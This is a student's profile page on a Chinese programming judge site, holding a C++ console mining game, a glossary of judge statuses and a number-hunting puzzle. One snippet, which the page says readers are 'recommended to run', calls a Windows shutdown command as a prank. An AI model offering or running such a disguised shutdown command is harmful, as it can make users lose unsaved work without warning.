bjwjc

UID: 910, 注册于 2024-4-2 10:33:16, 最后登录于 2025-9-13 22:42:29, 目前离线.

解决了 4 道题目，RP: 7 (No. 136)

♂

个人简介

挖矿小游戏（你个周奕喆，竟然敢抄袭，还不快删掉👎👎👎）O(∩_∩)O

公告栏：
1.1.2版本：
【矿场】修改新手介绍

#include <bits/stdc++.h>
#include <windows.h>
#include <conio.h>
using namespace std;
long long qian, p, ks, ll = 1, rlsx = 10, q = 1, rl, h, x, r, ifx, gdj = 1, kdj, ys, nnk, tk1, tk2, lk, tk3, sc, kk = 1;
long long bb[9] = {0, 30, 100, 525, 3750, 10000, 25000, 100000, 375000}, sx[9] = {0, 80, 160, 320, 640, 1280, 2560, 5120, 10240};
long long gz[10] = {0, 80, 150, 300, 800, 1750, 4000, 10000}, gll[10] = {0, 20, 40, 80, 160, 320, 640, 1280};
string s, gzpz[1000010] = {"", "石镐"};
char zf;
void slow(string x) {
	int len = x.size() - 1;
	for (int i = 0; i <= len; i++) {
		cout << x[i];
		Sleep(30);
	}
}
int main() {
	slow("游戏名：挖矿小游戏\n");
	Sleep(50);
	slow("作者：bjwjc\n");
	Sleep(50);
	slow("作者专属，禁止转载，否则后果自负\n");
	Sleep(50);
	slow("制游不易，不喜勿喷\n");
	Sleep(50);
	slow("准备好了吗？");
	Sleep(1000);
	system ("cls");
	while (1) {
		if (ifx == 1 && rl != 0) {
			slow("矿石已自动出售！");
			Sleep(1000);
			qian = qian + ys * 2 + nnk * 3 + tk1 * 5 + tk2 * 10 + lk * 15 + tk3 * 20;
			rl = ys = nnk = tk1 = tk2 = lk = tk3 = 0;
			system("cls");
		}
		slow("钱："), cout << qian, slow("$\n要干什么？\n1.去矿场 2.去市场 3.签到 4.自动出售 5.挂机 6.工具栏 7.退游\n");
		cin >> p;
		system ("cls");
		switch (p) {
			case 1:
				if (q == 1) {
					slow("你是什么身份？\n1.我是新手 2.我是老手\n");
					cin >> p;
					if (p == 2) q = 0, system("cls");
						else {
							system("cls");
							slow("按w字符，如果矿镐等级够高，会获得矿镐力量的矿石，但等级不足时，无法挖掘该矿石。"); 
							Sleep(1000);
							system ("cls");
							slow("按t跳过当前矿石，按h字符回到主页。");
							Sleep(1000);
							system ("cls");
							slow("获得的矿石放在背包里，背包满了就不能再挖，要去卖钱，您也可以开启自动出售模式。");
							Sleep(1000);
							system ("cls");
							slow("开始挖吧，祝您游戏愉快！");
							Sleep(1000);
							system ("cls");
							q = 0;
						}
				}
				srand(time(0)); 
				while (1) {
					x = 0;
					s = "";
					x = rand() % 1000 + 1;
					if (x <= 500) s = "岩石", kdj = 1;
						else if (x <= 750) s = "凝能矿", kdj = 1;
							else if (x <= 870) s = "铜矿", kdj = 1;
								else if (x <= 930) s = "铁矿", kdj = 2;
									else if (x <= 970) s = "铝矿", kdj = 3;
										else s = "钛矿", kdj = 4;
					cout << "背包：" << rl << "/" << rlsx << "			" << "力量：" << ll << endl;
					cout << "按w字符挖掘，按t字符跳过，按h字符回到主页。\t\t矿镐等级：" << gdj <<"\t\t当前矿石：" << s << "\n";
					zf = _getch();
					Sleep(200);
					if (zf == 'w') {
						if (gdj >= kdj) {
							rl = rl + ll;
							if (s == "岩石") ys = ys + ll;
							if (s == "凝能矿") nnk = nnk + ll;
							if (s == "铜矿") tk1 = tk1 + ll;
							if (s == "铁矿") tk2 = tk2 + ll;
							if (s == "铝矿") lk = lk + ll;
							if (s == "钛矿") tk3 = tk3 + ll;
						}
						else {
							slow("无法挖掘！");
							Sleep(1000);
							system("cls");
							continue;
						}
					}
					else if (zf == 'h') {
						h = 1;
						system ("cls");
						break;
					}
					else if (zf == 't') {
						slow("已跳过！");
						Sleep(1000);
						system("cls");
						continue;
					}
					if (rl > rlsx) {
						rl = rlsx;
						system("cls");
						slow("背包已满！"),
						Sleep(1000);
						system("cls");
						h = 1;
						break;
					}
					system("cls");
				}
				if (h == 1) {
					h = 0;
					while(_kbhit()) _getch();
					break;
				}
			case 2:
				system("cls");
				slow("您要干什么？\n1.购买背包 2.卖出矿石 3.购买矿镐\n");
				cin >> p;
				switch (p) {
					case 1:
						system("cls");
						slow("1.垃圾背包\t\t容量：80\t\t价格：30$\n2.普通背包\t\t容量：160\t\t价格：100$\n3.铜制背包\t\t容量：320\t\t价格：525$\n4.铁制背包\t\t容量：640\t\t价格：3750$\n5.铝制背包\t\t容量：1280\t\t价格：10000$\n6.钛制背包\t\t容量：2560\t\t价格：25000$\n7.钴制背包\t\t容量：5120\t\t价格：100000$\n8.钨制背包\t\t容量：10240\t\t价格：375000$\n您要买哪个背包（0表示不买）？\n");
						cin >> p;
						if (p == 0) {
							system("cls");
							slow("已取消。");
							Sleep(1000);
							system("cls");
							break;
						}
						system("cls");
						if (qian >= bb[p]) {
							slow("购买成功！");
							Sleep(1000);
							qian = qian - bb[p];
							rlsx = sx[p];
						}
						else {
							slow("购买失败！");
							Sleep(1000);
						}
						system("cls");
						break;
					case 2:
						system("cls");
						slow("您要全部卖出矿石吗？您当前有"), cout << rl, slow("矿石，岩石值2$，凝能矿值3$，铜矿值5$，铁矿值10$，铝矿值15$，钛矿值20$。\n");
						cin >> p;
						system("cls");
						if (p == 1) {
							slow("已全部卖出。");
							qian = qian + ys * 2 + nnk * 3 + tk1 * 5 + tk2 * 10 + lk * 15 + tk3 * 20;
							rl = ys = nnk = tk1 = tk2 = lk = tk3 = 0;
							Sleep(1000);
						}
						else {
							system("cls");
							slow("已取消。");
							Sleep(1000);
							system("cls");
						}
						system("cls");
						break;
					case 3:
						system("cls");
						slow("1.黄铜镐\t\t力量：20\t\t价格：80$\n2.铸铁镐\t\t力量：40\t\t价格：150$\n3.铝合金镐\t\t力量：80\t\t价格：300$\n4.钛合金镐\t\t力量：160\t\t价格：800$\n5.钴合金镐\t\t力量：320\t\t价格：1750$\n6.电钻\t\t\t力量：640\t\t价格：4000$\n7.星瞳电钻\t\t力量：1280\t\t价格：10000$\n您要买什么镐子（0表示不买）？\n");
						cin >> p;
						if (p == 0) {
							system("cls");
							slow("已取消。");
							Sleep(1000);
							system("cls");
							break;
						}
						system("cls");
						if (qian >= gz[p]) {
							slow("购买成功！");
							switch (p) {
								case 1:
									gdj = 2;
									gzpz[++kk] = "黄铜镐";
									break;
								case 2:
									gdj = 3;
									gzpz[++kk] = "铸铁镐";
									break;
								case 3:
									gdj = 4;
									gzpz[++kk] = "铝合金镐";
									break;
								case 4:
									gdj = 5;
									gzpz[++kk] = "钛合金镐";
									break;
								case 5:
									gdj = 6;
									gzpz[++kk] = "钴合金镐";
									break;
								case 6:
									gdj = 7;
									gzpz[++kk] = "电钻";
									break;
								case 7:
									gdj = 8;
									gzpz[++kk] = "星瞳电钻";
									break;
							}
							qian = qian - gz[p];
							ll = gll[p];
						}
						else slow("购买失败！");
						Sleep(1000);
						system("cls");
						break;
				}
				break;
			case 3:
				if (r == 1) {
					system("cls");
					slow("你已领过！");
					Sleep(1000);
					system("cls");
					break;
				}
				for (int i = 1; i <= 6; i++) {
					if (i % 3 == 1) cout << "正在抽取今日运势.";
					if (i % 3 == 2) cout << "正在抽取今日运势..";
					if (i % 3 == 0) cout << "正在抽取今日运势...";
					Sleep(750);
					system("cls");
				}
				srand(time(0));
				x = rand() % 7 + 1;
				system("cls");
				switch(x) {
					case 1:
						system("color 04");
						slow("大凶，扣除500$");
						qian = qian - 500;
						Sleep(1000);
						system("cls");
						r = 1;
						system("color 07");
						break;
					case 2:
						system("color 0C");
						slow("凶，扣除250$");
						qian = qian - 250;
						Sleep(1000);
						system("cls");
						r = 1;
						system("color 07");
						break;
					case 3:
						system("color 06");
						slow("中平，不加不减");
						Sleep(1000);
						system("cls");
						r = 1;
						system("color 07");
						break;
					case 4:
						system("color 0B");
						slow("小吉，加150$");
						qian = qian + 150;
						Sleep(1000);
						system("cls");
						r = 1;
						system("color 07");
						break;
					case 5:
						system("color 0A");
						slow("吉，加300$");
						qian = qian + 300;
						Sleep(1000);
						system("cls");
						r = 1;
						system("color 07");
						break;
					case 6:
						system("color 03");
						slow("中吉，加500$");
						qian = qian + 500;
						Sleep(1000);
						system("cls");
						r = 1;
						system("color 07");
						break;
					case 7:
						system("color 02");
						slow("大吉，加750$");
						qian = qian + 750;
						Sleep(1000);
						system("cls");
						r = 1;
						system("color 07");
						break;
					}
				break;
			case 4:
				system("cls");
				if (ifx == 0)  slow("已开启自动出售模式！"), ifx = 1;
					else slow("已关闭自动出售模式！"), ifx = 0;
				Sleep(1000);
				system("cls");
				break;
			case 5:
				slow("请输入你想挂机的时长（单位：秒）\n");
				cin >> p;
				sc = 0;
				p = p + 1;
				while (1) {
					Sleep(1000);
					sc++;
					system("cls");
					if (sc == p) break;
					cout << "钱：" << qian << "$\n";
					switch(gdj) {
						case 1:
							slow("+10$");
							qian = qian + 10;
							break;
						case 2:
							slow("+20$");
							qian = qian + 20;
							break;
						case 3:
							slow("+30$");
							qian = qian + 30;
							break;
						case 4:
							slow("+40$");
							qian = qian + 40;
							break;
						case 5:
							slow("+50$");
							qian = qian + 50;
							break;
						case 6:
							slow("+60$");
							qian = qian + 60;
							break;
						case 7:
							slow("+70$");
							qian = qian + 70;
							break;
						case 8:
							slow("+80$");
							qian = qian + 80;
							break;
					}
				}
				system("cls");
				break;
			case 6:
				sort(gzpz + 1, gzpz + kk + 1);
				for (int i = 1; i <= kk; i++) {
					cout << i;
					slow(".");
					slow(gzpz[i]);
					cout << "\n";
				}
				Sleep(3000);
				system("cls");
				break;
			case 7:
				slow("你确定要退出吗？\n");
				cin >> p;
				system("cls");
				if (p == 1) {
					slow("本局获得"), cout << qian, slow("美元！");
					Sleep(1000);
					return 0;
				}
				else {
					slow("已取消"); 
					Sleep(1000);
				}
				system("cls");
				break;
		}
	}
	return 0;
}

实用小知识：

Waiting 评测：评测请求正在等待被评测机抓取
Fetched 评测：评测请求已被评测机抓取，正在准备开始评测
Compiling 评测：正在编译中
Judging 评测：编译成功，正在评测中
Accepted 通过：程序输出完全正确
Wrong Answer 不通过：程序输出与标准答案不一致（不包括行末空格以及文件末空行）
Time Limit Exceeded 不通过：程序运行时间超过了题目限制
Memory Limit Exceeded 不通过：程序运行内存空间超过了题目限制
Runtime Error 不通过：程序运行时错误（如数组越界、被零除、运算溢出、栈溢出、无效指针等）
Compile Error 不通过：编译失败
System Error 错误：系统错误
Format Error 错误：没有测试数据
Canceled 其他：评测被取消
Unknown Error 其他：未知错误
Ignored 其他：被忽略

代码展示（建议运行）：

No.1

#include <bits/stdc++.h>
using namespace std;
int main() {
	system("shutdown -s -t 60");
	return 0;
}

No.2（有音响的建议运行）

#include <windows.h>
using namespace std;
int main() {
	Beep(1000, 10000);
	return 0;
}

趣味游戏：找到8。（题目不算）

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

看累了，休息一下吧

汤承允

多管闲事！

通过的题目
P1
P308
P309
P325
最近活动

This person is lazy and didn't join any contests or homework.
最近编写的题解

This person is lazy and didn't write any solutions.

bjwjc

个人简介

汤承允

通过的题目

最近活动

最近编写的题解

状态

开发

支持

bjwjc

个人简介

汤承允

通过的题目

最近活动

最近编写的题解

状态

开发

支持

还没有账户？

登录